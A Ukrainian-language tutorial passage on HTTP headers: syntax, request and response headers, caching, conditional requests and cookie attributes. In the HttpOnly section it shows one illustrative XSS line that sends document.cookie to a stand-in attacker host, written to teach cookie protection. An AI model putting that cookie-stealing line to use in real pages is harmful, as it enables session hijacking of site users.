HTTP-заголовки та їхнє призначення
HTTP-заголовки та їхнє призначення
🎯 Мета розділу
- Опанувати структуру та синтаксис HTTP-заголовків.
- Зрозуміти призначення основних категорій заголовків (загальні, запитів, відповідей, сутності).
- Навчитися налаштовувати кешування через заголовки
Cache-Control,ETag,Last-Modified. - Засвоїти механізми автентифікації та авторизації через заголовки.
- Розібратися з Content Negotiation (узгодження вмісту) та CORS-заголовками.
🔑 Ключові терміни
- HTTP Header — пара "ім'я: значення", що передає метадані про запит або відповідь.
- Request Headers — заголовки, що надсилає клієнт (User-Agent, Accept, Authorization).
- Response Headers — заголовки, що повертає сервер (Server, Set-Cookie, Location).
- Entity Headers — описують тіло повідомлення (Content-Type, Content-Length, Content-Encoding).
- Cache Control — механізм керування кешуванням через заголовки.
- Content Negotiation — процес узгодження формату відповіді між клієнтом та сервером.
Структура та синтаксис HTTP-заголовків
HTTP-заголовки є метаданими, що супроводжують запит або відповідь. Кожен заголовок має формат:
Header-Name: Header-Value
Базові правила синтаксису
- Регістр імені: Імена заголовків нечутливі до регістру, але прийнято використовувати Kebab-Case (кожне слово з великої літери, розділені дефісом):
Content-Type: application/json content-type: application/json ← також валідно CONTENT-TYPE: application/json ← валідно, але не рекомендовано - Пробіли: Після двокрапки може бути необов'язковий пробіл (зазвичай один):
Host: example.com Host:example.com ← валідно, але погано читається - Множинні значення: Деякі заголовки можуть мати кілька значень, розділених комами:
Accept: text/html, application/json, */* Accept-Encoding: gzip, deflate, br - Множинні заголовки з однаковим ім'ям: Деякі заголовки можуть повторюватися:
Set-Cookie: sessionId=abc123; HttpOnly Set-Cookie: theme=dark; Max-Age=86400 - Порожнє значення: Заголовок може мати порожнє значення:
Accept-Encoding: - Перенесення рядків (застаріле): У HTTP/1.1 дозволялося переносити довгі заголовки, починаючи наступний рядок з пробілу або табуляції (у HTTP/2 заборонено):
Subject: This is a very long header value that continues on the next line
Приклад RAW HTTP-запиту з заголовками
GET /api/v1/users/42 HTTP/1.1
Host: api.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Accept: application/json, text/plain, */*
Accept-Language: uk-UA, en-US;q=0.9, en;q=0.8
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Cache-Control: no-cache
Connection: keep-alive
Referer: https://example.com/dashboard
Пояснення:
Host— обов'язковий у HTTP/1.1, вказує домен сервера.User-Agent— ідентифікує клієнта (браузер, ОС).Accept— формати, які приймає клієнт.Accept-Language— мови, що віддаються перевагою (з пріоритетами черезq).Accept-Encoding— підтримувані методи стиснення.Authorization— токен автентифікації.Cache-Control— вимога не використовувати кеш.Connection— утримувати з'єднання відкритим.Referer— URL сторінки, з якої прийшов запит.
Класифікація HTTP-заголовків
HTTP-заголовки можна класифікувати за контекстом використання або призначенням:
Класифікація за контекстом
| Категорія | Опис | Приклади |
|---|---|---|
| General Headers | Застосовуються до запиту та відповіді, але не до тіла | Date, Connection, Cache-Control |
| Request Headers | Заголовки, що надсилає клієнт | Host, User-Agent, Accept, Authorization |
| Response Headers | Заголовки, що повертає сервер | Server, Set-Cookie, Location, Retry-After |
| Entity Headers | Описують тіло повідомлення | Content-Type, Content-Length, Content-Encoding |
:), наприклад :method, :path, :status. Проте HTTP/1.1 заголовки залишаються основою розуміння протоколу.Класифікація за призначенням
| Призначення | Опис | Приклади |
|---|---|---|
| Автентифікація | Ідентифікація та перевірка клієнта | Authorization, WWW-Authenticate, Proxy-Authorization |
| Кешування | Керування кешем клієнта та проксі | Cache-Control, ETag, Last-Modified, Expires |
| Умовні запити | Запит ресурсу лише при певних умовах | If-None-Match, If-Modified-Since, If-Match |
| Content Negotiation | Узгодження формату відповіді | Accept, Accept-Language, Accept-Encoding, Content-Type |
| Cookies | Управління станом через cookies | Set-Cookie, Cookie |
| CORS | Контроль міждоменних запитів | Access-Control-Allow-Origin, Origin |
| Безпека | Захист від атак | Strict-Transport-Security, Content-Security-Policy |
| Проксі та шлюзи | Інформація про проксі-сервери | Via, X-Forwarded-For, Forwarded |
Основні заголовки запитів (Request Headers)
Заголовки запитів надсилає клієнт до сервера для передачі інформації про себе, свої можливості та побажання щодо відповіді.
Host — Цільовий домен
Призначення: Вказує домен та порт сервера, до якого надсилається запит. Обов'язковий у HTTP/1.1.
Чому обов'язковий: Один IP-сервер може обслуговувати кілька доменів (virtual hosting). Заголовок Host дозволяє серверу визначити, який сайт запитує клієнт.
Приклад:
GET /api/users HTTP/1.1
Host: api.example.com
Якщо використовується нестандартний порт:
GET /api/users HTTP/1.1
Host: api.example.com:8080
User-Agent — Ідентифікація клієнта
Призначення: Ідентифікує клієнтський додаток (браузер, мобільний застосунок, бот), включаючи версію, ОС, рушій рендерингу.
Приклад (Chrome на macOS):
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Приклад (мобільний застосунок):
GET /api/v1/posts HTTP/1.1
User-Agent: MyApp/2.5.0 (iOS 17.0; iPhone14,5) CFNetwork/1408.0.4
Використання сервером:
- Аналітика: визначення популярних браузерів та пристроїв.
- Адаптивний контент: відправка спрощеної версії для старих браузерів.
- Блокування ботів: фільтрація зловмисних краулерів.
User-Agent може використовуватися для фінгерпринтингу (ідентифікації користувача без cookies). Сучасні браузери рухаються до User-Agent reduction — спрощення рядка для захисту приватності.
Accept — Бажаний формат відповіді
Призначення: Вказує MIME-типи, які клієнт може обробити. Сервер використовує цю інформацію для вибору формату відповіді (Content Negotiation).
Синтаксис:
Accept: type/subtype, type/subtype;q=quality
Параметр q (quality) вказує пріоритет від 0 до 1 (за замовчуванням 1).
Приклад 1: Клієнт віддає перевагу JSON
GET /api/v1/products HTTP/1.1
Accept: application/json, application/xml;q=0.9, text/html;q=0.8, */*;q=0.1
Інтерпретація:
application/json(q=1.0 за замовчуванням) — найвища перевага.application/xml(q=0.9) — прийнятно, якщо JSON недоступний.text/html(q=0.8) — низька перевага.*/*(q=0.1) — будь-який інший формат як крайній варіант.
Приклад 2: Браузер запитує HTML
GET /about HTTP/1.1
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
Відповідь сервера:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"id":42,"name":"Product"}
Якщо сервер не може надати жодного прийнятного формату:
HTTP/1.1 406 Not Acceptable
Content-Type: application/json
{"error":"Not Acceptable","message":"Server supports only application/json"}
Accept-Language — Бажана мова контенту
Призначення: Вказує мову, яку віддає перевагу клієнт. Сервер може повернути локалізований контент.
Приклад:
GET /news HTTP/1.1
Accept-Language: uk-UA, uk;q=0.9, en-US;q=0.8, en;q=0.7
Інтерпретація:
uk-UA(українська, Україна) — найвища перевага.uk(українська, будь-який регіон) — q=0.9.en-US(англійська, США) — q=0.8.en(англійська, будь-який регіон) — q=0.7.
Відповідь сервера:
HTTP/1.1 200 OK
Content-Language: uk-UA
Content-Type: text/html; charset=utf-8
<!DOCTYPE html>
<html lang="uk">
<head><title>Новини</title></head>
...
Accept-Encoding — Підтримувані методи стиснення
Призначення: Вказує алгоритми стиснення, які підтримує клієнт. Сервер може стиснути відповідь для економії пропускної здатності.
Приклад:
GET /api/v1/large-dataset HTTP/1.1
Accept-Encoding: gzip, deflate, br
Підтримувані алгоритми:
- gzip — найпоширеніший, баланс між стисненням та швидкістю.
- deflate — застарілий, рідко використовується.
- br (Brotli) — сучасний, кращий коефіцієнт стиснення, особливо для тексту.
- compress — застарілий, не рекомендується.
- identity — без стиснення (за замовчуванням).
Відповідь сервера (зі стисненням):
HTTP/1.1 200 OK
Content-Type: application/json
Content-Encoding: br
Content-Length: 1234
Vary: Accept-Encoding
[Brotli-стиснуті дані]
Заголовок Vary: Accept-Encoding вказує, що відповідь залежить від заголовка запиту — важливо для коректного кешування проксі.
Текстові формати (JSON, HTML, CSS, JavaScript) дуже добре стискаються (до 70-90% зменшення розміру). Завжди вмикайте
Accept-Encoding: gzip, br у клієнтах. Бінарні формати (зображення JPEG/PNG, відео) вже стиснуті та не потребують Content-Encoding.Authorization — Автентифікація клієнта
Призначення: Передає облікові дані клієнта для автентифікації на сервері.
Схеми автентифікації:
1. Basic Authentication (застаріла, небезпечна без HTTPS)
GET /api/v1/users/me HTTP/1.1
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
Значення після Basic — це Base64-кодування рядка username:password:
echo -n "username:password" | base64
# Результат: dXNlcm5hbWU6cGFzc3dvcmQ=
Base64 — це НЕ шифрування, а лише кодування. Будь-хто, хто перехопить трафік, може декодувати і отримати логін та пароль. Використовуйте Basic Auth лише через HTTPS або ніколи.
2. Bearer Token (JWT, OAuth 2.0)
Найпоширеніший сучасний метод. Токен (зазвичай JWT) передається у заголовку:
GET /api/v1/orders HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsIm5hbWUiOiJKb2huIERvZSIsImlhdCI6MTY5MzMxNTIwMCwiZXhwIjoxNjkzMzE4ODAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Структура JWT: три частини, розділені крапками:
- Header (алгоритм та тип):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 - Payload (дані користувача):
eyJzdWIiOiI0MiIsIm5hbWUi... - Signature (підпис):
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Сервер перевіряє підпис, щоб переконатися, що токен не підроблений.
3. API Key
Деякі API використовують власний заголовок для ключа:
GET /api/v1/weather HTTP/1.1
Host: weather-api.example.com
X-API-Key: abc123def456ghi789
Або у стандартному заголовку:
Authorization: ApiKey abc123def456ghi789
Referer — URL попередньої сторінки
Призначення: Вказує URL сторінки, з якої користувач перейшов за поточним посиланням.
Приклад:
GET /products/laptop-xyz HTTP/1.1
Host: shop.example.com
Referer: https://shop.example.com/search?q=laptop
Використання:
- Аналітика: визначення джерел трафіку.
- Безпека: захист від CSRF-атак (перевірка, що запит прийшов з того самого сайту).
- A/B тестування: відстеження переходів між варіантами.
Правильно англійською було б "Referrer" (з подвійною 'r'), але у специфікації HTTP допущено помилку — заголовок називається
Referer. Це історична помилка, яка залишилася у стандарті.Referer може розкривати чутливу інформацію (наприклад, повний URL з параметрами сесії). Сучасні браузери та сайти використовують Referrer Policy для контролю, скільки інформації передається:
Referrer-Policy: no-referrer
Referrer-Policy: same-origin
Referrer-Policy: strict-origin-when-cross-origin
Cookie — Збережений стан
Призначення: Надсилає cookies, збережені браузером для цього домену. Детальніше про cookies у наступному підрозділі.
Приклад:
GET /dashboard HTTP/1.1
Host: app.example.com
Cookie: sessionId=abc123xyz; theme=dark; language=uk
Range — Часткове завантаження
Призначення: Запитує частину ресурсу (часткове завантаження). Використовується для великих файлів, відновлення перерваного завантаження, streaming відео.
Приклад 1: Завантаження перших 1 МБ файлу
GET /videos/movie.mp4 HTTP/1.1
Host: cdn.example.com
Range: bytes=0-1048575
Відповідь:
HTTP/1.1 206 Partial Content
Content-Type: video/mp4
Content-Range: bytes 0-1048575/524288000
Content-Length: 1048576
Accept-Ranges: bytes
[1 МБ даних]
Приклад 2: Відновлення завантаження (вже завантажено 10 МБ)
GET /files/large-archive.zip HTTP/1.1
Range: bytes=10485760-
Сервер поверне дані, починаючи з 10 МБ до кінця файлу.
Основні заголовки відповідей (Response Headers)
Заголовки відповідей надсилає сервер клієнту для передачі метаданих про відповідь та інструкцій клієнту.
Server — Інформація про сервер
Призначення: Ідентифікує програмне забезпечення сервера.
Приклад:
HTTP/1.1 200 OK
Server: nginx/1.25.0
Content-Type: text/html
Інші приклади:
Server: Apache/2.4.57 (Ubuntu)
Server: cloudflare
Server: Microsoft-IIS/10.0
Розкриття версії сервера може допомогти зловмисникам знайти відомі вразливості. У продакшн-середовищах рекомендується приховувати або узагальнювати значення
Server:Server: WebServer (замість Server: nginx/1.25.0)
Set-Cookie — Встановлення cookie
Призначення: Сервер встановлює cookie у браузері клієнта. Детальний розгляд у підрозділі про Cookies.
Приклад:
HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600; Path=/
Set-Cookie: theme=dark; Max-Age=31536000; Path=/
Location — Адреса перенаправлення або нового ресурсу
Призначення: Вказує URL для перенаправлення (3xx) або адресу новоствореного ресурсу (201).
Приклад 1: Перенаправлення (301)
HTTP/1.1 301 Moved Permanently
Location: https://www.example.com/new-page
Content-Length: 0
Приклад 2: Створення ресурсу (201)
HTTP/1.1 201 Created
Location: https://api.example.com/api/v1/users/125
Content-Type: application/json
{"id":125,"email":"new@example.com"}
Retry-After — Коли повторити запит
Призначення: Вказує клієнту, через скільки часу можна повторити запит. Використовується з кодами 429 (Too Many Requests), 503 (Service Unavailable).
Формат 1: Секунди
HTTP/1.1 429 Too Many Requests
Retry-After: 120
Content-Type: application/json
{"error":"Rate limit exceeded. Try again in 2 minutes."}
Формат 2: Дата та час
HTTP/1.1 503 Service Unavailable
Retry-After: Sat, 29 Aug 2026 15:00:00 GMT
Content-Type: application/json
{"error":"Maintenance in progress. Service will resume at 15:00 UTC."}
Content-Type — Тип вмісту відповіді
Призначення: Вказує MIME-тип тіла відповіді та кодування символів.
Приклад 1: JSON
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"id":42,"name":"Product"}
Приклад 2: HTML
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
<!DOCTYPE html>
<html>...
Приклад 3: Бінарний файл (зображення)
HTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Length: 45678
[JPEG бінарні дані]
Популярні MIME-типи:
| MIME-тип | Опис |
|---|---|
text/html | HTML-документ |
text/css | CSS-стилі |
text/javascript | JavaScript-код |
application/json | JSON-дані |
application/xml | XML-документ |
application/pdf | PDF-файл |
image/jpeg, image/png, image/webp | Зображення |
video/mp4 | Відео MP4 |
audio/mpeg | Аудіо MP3 |
application/octet-stream | Бінарні дані (невизначений тип) |
multipart/form-data | Форма з файлами |
Content-Length — Розмір тіла
Призначення: Вказує розмір тіла відповіді у байтах.
Приклад:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 187
{"id":42,"email":"john@example.com","firstName":"John","lastName":"Doe","role":"user","createdAt":"2026-01-15T10:00:00Z"}
Використання:
- Клієнт знає, скільки даних очікувати.
- Можливість відображення прогресу завантаження.
- Обов'язковий для деяких HTTP-клієнтів та проксі.
Якщо розмір відповіді невідомий заздалегідь (наприклад, streaming), використовується
Transfer-Encoding: chunkedзамістьContent-Length. Дані передаються частинами (chunks).Content-Encoding — Метод стиснення
Призначення: Вказує алгоритм стиснення, застосований до тіла відповіді.
Приклад:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 4567
[gzip-стиснуті дані HTML]
Браузер автоматично розпаковує дані перед використанням.
ETag — Ідентифікатор версії ресурсу
Призначення: Унікальний ідентифікатор конкретної версії ресурсу. Використовується для умовних запитів та оптимістичної блокування.
Формати:
- Сильний ETag (порівнюються байт-у-байт):
ETag: "version-42-abc123" - Слабкий ETag (незначні відмінності допустимі):
ETag: W/"version-42"
Приклад: Перший запит
GET /api/v1/products/42 HTTP/1.1
Відповідь:
HTTP/1.1 200 OK
Content-Type: application/json
ETag: "product-v5-hash789"
Cache-Control: max-age=0, must-revalidate
{"id":42,"name":"Laptop","price":29999}
Умовний запит (наступного разу):
GET /api/v1/products/42 HTTP/1.1
If-None-Match: "product-v5-hash789"
Відповідь (ресурс не змінився):
HTTP/1.1 304 Not Modified
ETag: "product-v5-hash789"
Cache-Control: max-age=0, must-revalidate
Тіло порожнє — браузер використовує закешовані дані.
Last-Modified — Дата останньої модифікації
Призначення: Вказує, коли ресурс був востаннє змінений. Використовується для умовних запитів.
Приклад: Перший запит
GET /documents/report.pdf HTTP/1.1
Відповідь:
HTTP/1.1 200 OK
Content-Type: application/pdf
Last-Modified: Wed, 15 Aug 2026 10:00:00 GMT
Cache-Control: public, max-age=3600
Content-Length: 1048576
[PDF дані]
Умовний запит:
GET /documents/report.pdf HTTP/1.1
If-Modified-Since: Wed, 15 Aug 2026 10:00:00 GMT
Відповідь (не змінювався):
HTTP/1.1 304 Not Modified
Last-Modified: Wed, 15 Aug 2026 10:00:00 GMT
- ETag — точніший (базується на хеші або версії), але потребує обчислень.
- Last-Modified — простіший (timestamp), але менш точний (точність до секунди, не враховує зміни у метаданих).
Краща практика: використовувати обидва. Клієнт надсилаєIf-None-MatchтаIf-Modified-Since, сервер перевіряє обидва.
Access-Control-Allow-Origin — CORS-дозвіл (детально у наступному розділі)
Призначення: Вказує, які домени мають доступ до ресурсу у міждоменних запитах (CORS).
Приклад 1: Дозвіл конкретному домену
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"data":"..."}
Приклад 2: Дозвіл усім доменам (публічне API)
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json
{"data":"..."}
Механізми кешування через заголовки
Кешування є критично важливим для продуктивності веб-застосунків, зменшення навантаження на сервер та економії пропускної здатності. HTTP надає потужні механізми керування кешем через заголовки.
Cache-Control — Головний заголовок кешування
Призначення: Визначає політику кешування для ресурсу. Застосовується як у запиті, так і у відповіді.
Синтаксис:
Cache-Control: директива1, директива2, директива3
Директиви Cache-Control у відповіді
1. public — Кешування дозволено всім (включно з проксі)
HTTP/1.1 200 OK
Cache-Control: public, max-age=86400
Content-Type: image/jpeg
[зображення логотипу]
Ресурс можна кешувати на клієнті, CDN, проксі-серверах.
2. private — Кешування лише у браузері (не на проксі)
HTTP/1.1 200 OK
Cache-Control: private, max-age=3600
Content-Type: application/json
{"email":"user@example.com","personalData":"..."}
Використовується для персоналізованих даних, які не повинні кешуватися на проміжних серверах.
3. no-cache — Перевіряти з сервером перед використанням кешу
HTTP/1.1 200 OK
Cache-Control: no-cache
ETag: "version-5"
Ресурс можна кешувати, але перед використанням браузер повинен перевірити з сервером (умовний запит з If-None-Match), чи не змінився ресурс.
4. no-store — Заборона кешування взагалі
HTTP/1.1 200 OK
Cache-Control: no-store
Content-Type: application/json
{"creditCard":"1234-5678-9012-3456"}
Використовується для чутливих даних (банківська інформація, паролі, токени). Браузер не зберігає відповідь ні у кеші, ні на диску.
5. max-age=<секунди> — Час актуальності у секундах
HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000
Content-Type: application/javascript
/* Файл з версією у назві: app.v5.js */
Ресурс вважається актуальним протягом 31 536 000 секунд (1 рік). Після цього браузер повинен запитати свіжу версію.
6. s-maxage=<секунди> — Час актуальності для shared-кешів (CDN, проксі)
Cache-Control: public, max-age=3600, s-maxage=86400
- Браузери: кешують на 1 годину (
max-age=3600). - CDN/проксі: кешують на 1 день (
s-maxage=86400).
7. must-revalidate — Обов'язкова перевірка після закінчення max-age
Cache-Control: public, max-age=3600, must-revalidate
ETag: "content-hash-xyz"
Після закінчення 1 години браузер обов'язково повинен перевірити з сервером, навіть якщо з'єднання повільне.
8. immutable — Ресурс ніколи не зміниться
HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Type: text/css
/* Файл з хешем: styles.a3f2b9d.css */
Навіть при оновленні сторінки (F5) браузер не перевіряє цей ресурс з сервером. Використовується для версійованих статичних файлів (з хешем або версією у назві).
Комбінації директив для різних сценаріїв
Сценарій 1: Статичні файли з версією (CSS, JS, шрифти, зображення)
Cache-Control: public, max-age=31536000, immutable
Кешувати назавжди. При зміні файлу змінюється його назва (через хеш).
Сценарій 2: HTML-сторінка (потрібна актуальність)
Cache-Control: no-cache, must-revalidate
ETag: "html-v42"
Завжди перевіряти з сервером, але використовувати 304 для економії трафіку.
Сценарій 3: API-відповідь (дані можуть змінюватися)
Cache-Control: private, max-age=300, must-revalidate
ETag: "data-hash-xyz"
Кешувати на 5 хвилин, потім обов'язково перевірити.
Сценарій 4: Публічні дані (можна кешувати на CDN)
Cache-Control: public, max-age=3600, s-maxage=86400, stale-while-revalidate=60
- Браузери: 1 година.
- CDN: 1 день.
- Якщо закінчився час, використовувати старі дані протягом 60 секунд, поки оновлюються у фоні.
Сценарій 5: Чутливі дані (без кешування)
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Expires: 0
Жодного кешування для банківських даних, медичних записів, особистої інформації.
Директиви Cache-Control у запиті
Клієнт також може використовувати Cache-Control для контролю кешування:
1. no-cache — Запитати свіжу версію (hard refresh)
GET /api/v1/products HTTP/1.1
Cache-Control: no-cache
Навіть якщо є кешована версія, запитати з сервера.
2. max-age=0 — Перевірити актуальність
GET /page HTTP/1.1
Cache-Control: max-age=0
Аналогічно no-cache.
3. only-if-cached — Використовувати лише кеш
GET /data HTTP/1.1
Cache-Control: only-if-cached
Якщо немає у кеші, повернути помилку (504), не звертаючись до сервера.
Expires — Застаріла альтернатива max-age
Призначення: Вказує абсолютну дату та час, після якого ресурс вважається застарілим.
Приклад:
HTTP/1.1 200 OK
Expires: Sun, 29 Aug 2027 14:00:00 GMT
Content-Type: image/png
Якщо присутні обидва (
Cache-Control: max-age та Expires), Cache-Control має вищий пріоритет. Expires залишається для сумісності зі старими клієнтами.Залежить від годинника клієнта. Якщо годинник неправильно налаштований, кешування працюватиме некоректно. Тому
Cache-Control: max-age є кращим вибором (відносний час).Pragma — Застарілий заголовок (HTTP/1.0)
Призначення: У HTTP/1.0 використовувався для відключення кешування.
Приклад:
Cache-Control: no-cache
Pragma: no-cache
Залишається лише для зворотної сумісності зі старими проксі.
Умовні запити для ефективного кешування
Умовні запити дозволяють економити трафік, запитуючи повні дані лише якщо ресурс змінився.
If-None-Match + ETag
Приклад повного циклу:
1. Перший запит (кеш порожній)
GET /api/v1/users/42 HTTP/1.1
Host: api.example.com
Відповідь (200 OK з ETag)
HTTP/1.1 200 OK
Content-Type: application/json
ETag: "user-v3-hash789"
Cache-Control: private, max-age=300
{"id":42,"name":"John","email":"john@example.com"}
Браузер зберігає у кеші на 5 хвилин.
2. Запит через 6 хвилин (кеш застарів)
GET /api/v1/users/42 HTTP/1.1
If-None-Match: "user-v3-hash789"
Відповідь A (дані не змінилися — 304)
HTTP/1.1 304 Not Modified
ETag: "user-v3-hash789"
Cache-Control: private, max-age=300
Браузер використовує закешовані дані, не завантажуючи тіло знову. Економія: ~80% трафіку.
Відповідь B (дані оновилися — 200 OK)
HTTP/1.1 200 OK
Content-Type: application/json
ETag: "user-v4-hash012"
Cache-Control: private, max-age=300
{"id":42,"name":"John Doe","email":"john.doe@example.com","updatedAt":"2026-08-29T14:00:00Z"}
Браузер отримує нові дані та оновлює кеш.
If-Modified-Since + Last-Modified
Аналогічний механізм, але базується на даті модифікації:
1. Перший запит
GET /images/logo.png HTTP/1.1
Відповідь
HTTP/1.1 200 OK
Content-Type: image/png
Last-Modified: Mon, 01 Aug 2026 08:00:00 GMT
Cache-Control: public, max-age=86400
Content-Length: 45678
[PNG дані]
2. Умовний запит (через день)
GET /images/logo.png HTTP/1.1
If-Modified-Since: Mon, 01 Aug 2026 08:00:00 GMT
Відповідь (не змінювався)
HTTP/1.1 304 Not Modified
Last-Modified: Mon, 01 Aug 2026 08:00:00 GMT
Cache-Control: public, max-age=86400
If-Match — Оптимістична блокування (Optimistic Locking)
Призначення: Виконати операцію (PUT/PATCH/DELETE) лише якщо ресурс має вказаний ETag (не був змінений іншим користувачем).
Сценарій: Два користувачі редагують документ
Користувач A: Отримує документ
GET /api/v1/documents/42 HTTP/1.1
Відповідь
HTTP/1.1 200 OK
ETag: "doc-v5"
Content-Type: application/json
{"id":42,"title":"Report","content":"...","version":5}
Користувач B: Отримує той самий документ (одночасно)
GET /api/v1/documents/42 HTTP/1.1
Відповідь (та сама версія)
HTTP/1.1 200 OK
ETag: "doc-v5"
...
Користувач A: Зберігає зміни (перший)
PUT /api/v1/documents/42 HTTP/1.1
If-Match: "doc-v5"
Content-Type: application/json
{"title":"Updated Report","content":"new content"}
Відповідь (успіх)
HTTP/1.1 200 OK
ETag: "doc-v6"
{"id":42,"title":"Updated Report","version":6}
Користувач B: Намагається зберегти свої зміни (пізніше)
PUT /api/v1/documents/42 HTTP/1.1
If-Match: "doc-v5"
Content-Type: application/json
{"title":"Another Update","content":"different content"}
Відповідь (конфлікт — версія вже не v5, а v6)
HTTP/1.1 412 Precondition Failed
ETag: "doc-v6"
Content-Type: application/json
{"error":"Precondition Failed","message":"Document was modified by another user. Current version: 6, your version: 5. Please reload and try again."}
Користувач B повинен перезавантажити документ, об'єднати зміни та повторити збереження.
- Немає блокування ресурсу на час редагування.
- Висока паралельність — кілька користувачів можуть редагувати одночасно.
- Конфлікти виявляються лише при збереженні.
- Ідеально для веб-застосунків (де неможливо утримувати блокування через HTTP).
Vary — Варіації кешованих відповідей
Призначення: Вказує, які заголовки запиту впливають на відповідь. Проксі та CDN використовують це для кешування кількох варіантів одного ресурсу.
Приклад 1: Vary за Accept-Encoding
HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Vary: Accept-Encoding
Cache-Control: public, max-age=3600
CDN кешує окремі версії для клієнтів з Accept-Encoding: gzip та без нього.
Приклад 2: Vary за Accept-Language (мультимовний сайт)
HTTP/1.1 200 OK
Content-Type: text/html
Content-Language: uk
Vary: Accept-Language
Cache-Control: public, max-age=3600
CDN кешує українську, англійську, польську версії окремо.
Приклад 3: Vary за User-Agent (мобільна/десктопна версія)
Vary: User-Agent
Приклад 4: Vary за кількома заголовками
Vary: Accept-Encoding, Accept-Language, User-Agent
Кожна комбінація значень створює окрему запис у кеші.
Vary: User-Agent може створити сотні варіантів (для кожного браузера/версії). Це знижує ефективність кешування CDN. Використовуйте обережно.Cookies — Механізм збереження стану
HTTP є stateless-протоколом — кожен запит незалежний, сервер не "пам'ятає" попередніх запитів. Cookies вирішують цю проблему, дозволяючи зберігати стан між запитами.
Що таке Cookie?
Cookie — це невеликий фрагмент даних (до 4 КБ), який сервер надсилає клієнту через заголовок Set-Cookie. Браузер зберігає cookie та автоматично надсилає його у наступних запитах до цього домену через заголовок Cookie.
Життєвий цикл Cookie
1. Сервер встановлює cookie (Set-Cookie)
HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123xyz456; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
Set-Cookie: theme=dark; Path=/; Max-Age=31536000
Content-Type: text/html
<!DOCTYPE html>
<html>...
2. Браузер зберігає cookies
Браузер зберігає обидві cookies у своєму сховищі.
3. Браузер автоматично надсилає cookies у наступних запитах
GET /dashboard HTTP/1.1
Host: app.example.com
Cookie: sessionId=abc123xyz456; theme=dark
4. Сервер використовує cookies для ідентифікації
Сервер розпізнає користувача за sessionId, завантажує дані сесії з бази/Redis та повертає персоналізований контент.
Атрибути Cookie (Set-Cookie)
Базовий синтаксис
Set-Cookie: name=value; атрибут1; атрибут2=значення; ...
Max-Age та Expires — Час життя cookie
Max-Age=<секунди> — відносний час життя (рекомендовано):
Set-Cookie: sessionId=abc123; Max-Age=3600
Cookie буде видалено через 3600 секунд (1 годину).
Expires=<дата> — абсолютна дата видалення (застаріле):
Set-Cookie: sessionId=abc123; Expires=Sat, 29 Aug 2026 15:00:00 GMT
Без Max-Age та Expires — session cookie (видаляється при закритті браузера):
Set-Cookie: tempData=xyz
Domain — Домен, для якого діє cookie
Set-Cookie: userId=42; Domain=example.com
Cookie буде надсилатися на:
example.comwww.example.comapi.example.comsubdomain.example.com
Без Domain:
Cookie діє лише для точного домену (без субдоменів):
Set-Cookie: data=value
Якщо встановлено на app.example.com, не буде надсилатися на api.example.com.
Не можна встановити cookie для домену верхнього рівня (.com, .ua) або чужого домену (google.com з example.com).
Path — Шлях, для якого діє cookie
Set-Cookie: cartId=xyz789; Path=/shop
Cookie надсилається лише для URL, що починаються з /shop:
/shop✅/shop/products✅/shop/cart/checkout✅/about❌
За замовчуванням: Path=/ (для всіх шляхів).
Secure — Тільки через HTTPS
Set-Cookie: sessionId=abc123; Secure
Cookie буде надсилатися лише через HTTPS. Захист від перехоплення у незахищених мережах (публічний Wi-Fi).
Усі cookies з чутливими даними (sessionId, токени) повинні мати атрибут
Secure. Без нього cookies передаються через HTTP у відкритому вигляді.HttpOnly — Заборона доступу з JavaScript
Set-Cookie: sessionId=abc123; HttpOnly
Cookie недоступне через document.cookie у JavaScript. Захист від XSS-атак (Cross-Site Scripting).
Без HttpOnly:
// Зловмисний скрипт може вкрасти cookie
fetch('https://attacker.com/steal?cookie=' + document.cookie);
З HttpOnly:
console.log(document.cookie);
// Виведе: "theme=dark" (sessionId не видно)
Усі cookies з автентифікаційними даними (session ID, JWT) повинні мати
HttpOnly. Cookies для UI-налаштувань (тема, мова) можуть бути без нього.SameSite — Захист від CSRF-атак
Контролює, чи надсилати cookie у міждоменних запитах (cross-site requests).
Значення:
- SameSite=Strict — найсуворіший
Set-Cookie: sessionId=abc123; SameSite=Strict
Cookie надсилається лише у запитах з того самого домену. Захищає від CSRF, але погіршує UX.
Приклад:
Користувач натискає посиланняhttps://example.com/dashboardз email → cookie НЕ надсилається (різні домени: email-клієнт vs example.com) → користувач побачить сторінку як неавторизований. - SameSite=Lax — баланс (за замовчуванням у сучасних браузерах)
Set-Cookie: sessionId=abc123; SameSite=Lax
Cookie надсилається:- У навігаційних GET-запитах (перехід за посиланням, форма з GET).
- НЕ надсилається у POST, PUT, DELETE з іншого домену.
Захищає від більшості CSRF, зберігаючи UX. - SameSite=None — дозволяє міждоменні запити (потребує Secure)
Set-Cookie: trackingId=xyz; SameSite=None; Secure
